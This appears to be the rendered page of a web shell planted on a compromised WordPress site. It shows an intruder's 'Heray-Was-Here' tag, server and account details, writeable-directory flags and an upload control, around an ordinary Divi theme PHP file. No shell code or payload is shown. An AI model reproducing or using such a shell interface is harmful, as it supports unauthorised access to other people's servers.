Heray-Was-Here
Server : LiteSpeed
System : Linux server376.web-hosting.com 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : alissgnf ( 2624)
PHP Version : 8.4.21
Disable Function : NONE
Directory :  /home/alissgnf/www/wp-content/themes/Divi/includes/builder/module/field/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/alissgnf/www/wp-content/themes/Divi/includes/builder/module/field/Factory.php
<?php

class ET_Builder_Module_Fields_Factory {

	protected static $fields = array();

	/**
	 * @param $fields_type
	 *
	 * @return ET_Builder_Module_Field_Base
	 */
	public static function get( $fields_type ) {
		if ( ! isset( self::$fields[ $fields_type ] ) ) {
			$file = implode( DIRECTORY_SEPARATOR, array( ET_BUILDER_DIR, 'module', 'field', "$fields_type.php" ) );

			$instance = file_exists( $file ) ? require_once $file : null;

			self::$fields[ $fields_type ] = $instance instanceof ET_Builder_Module_Field_Base ? $instance : null;
		}

		return self::$fields[ $fields_type ];
	}
}

Hry